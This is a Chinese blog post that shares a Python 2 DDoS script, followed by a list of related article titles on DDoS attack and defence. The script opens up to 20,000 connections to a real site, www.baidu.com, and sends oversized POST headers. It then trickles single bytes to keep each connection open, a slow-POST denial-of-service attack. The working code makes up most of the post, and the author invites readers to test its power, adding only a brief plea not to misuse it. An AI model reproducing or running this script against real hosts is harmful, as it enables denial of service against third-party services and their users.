python版本DDOS攻擊指令碼
今天為了休息下,換換腦子,於是就找到了我之前收藏的一篇python的文章,是關於ddos攻擊的一個指令碼,正好今天有空,就實踐下了。
附上原始碼pyDdos.py:
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
OK,大家可以簡單測試下這個指令碼的威力,不過希望大家不要用來做壞事兒,同時,稍後我會去找一個python版本的防DDOS攻擊的指令碼,所謂學習攻擊的方式是為了更好的抵禦攻擊。
原文地址(注:好像這個哥們兒也是從人家別的地方抄來的,但是他好像沒有標註出處,所以我也不知道這個原文出自哪裡,如有侵權,請及時聯絡我):python版本ddos指令碼
2013年4月14日 Eric.Tang 記
相關文章
- 伺服器被DDOS攻擊防禦的SHELL指令碼伺服器指令碼
- 遊戲伺服器防ddos攻擊,三招搞定ddos攻擊遊戲伺服器
- Nginx防止DDOS攻擊Nginx
- 淺談DDOS攻擊攻擊與防禦
- 什麼是DDoS攻擊?哪些行業最需要預防DDoS攻擊?行業
- DDoS Deflate防Linux下DDOS攻擊Linux
- 分散式拒絕服務攻擊 DDoS攻擊分散式
- DDoS攻擊工具HOIC分析
- 如何防範DDoS攻擊,使自己的網站減緩DDoS攻擊呢?網站
- 預防ddos攻擊檢測
- DDOS 攻擊的防範教程
- 用 JavaScript 對抗 DDOS 攻擊JavaScript
- DDoS攻擊與CC攻擊的區別是什麼?
- JavaScript And Ajax(呈現指令碼塊、指令碼注入攻擊)JavaScript指令碼
- 跨站指令碼攻擊(XSS)指令碼
- 在Linux中,什麼是DDoS攻擊?如何在Linux中防禦DDoS攻擊?Linux
- DDoS攻擊激增,分享高效可靠的DDoS防禦方案
- 淺析DDOS攻擊防護思路
- DDOS攻擊常見的型別型別
- 淺談DDos攻擊與防禦
- 基於TCP反射DDoS攻擊分析TCP反射
- 黑色產業鏈分析丨DDOS攻擊產業
- 用 JavaScript 對抗 DDOS 攻擊 (下)JavaScript
- 什麼是CC攻擊?與DDoS攻擊有什麼區別?
- NTP反射型DDos攻擊FAQ/補遺反射
- DDOS攻擊原理,種類及其防禦
- 防ddos攻擊伺服器的方法伺服器
- 【網路安全】如何有效地防禦DDOS攻擊和CC攻擊?
- 【日常篇】DOS攻擊和DDOS攻擊之間有什麼區別?
- DDoS攻擊是什麼?網站DDoS防禦策略有哪些?網站
- 聚焦DDoS安全,分享防禦DDoS攻擊的幾大有效方法
- katoto站點被注入指令碼攻擊指令碼
- XSS跨站指令碼攻擊介紹指令碼
- 【網路安全知識】DDOS攻擊和CC攻擊有什麼區別?
- 【DDOS】巧用iptables 幾招搞定 SYN洪水攻擊!
- ddos攻擊伺服器的幾種方式伺服器
- 分散式拒絕服務攻擊(DDoS)原理分散式
- 樹莓派上使用Slowloris進行DDoS攻擊樹莓派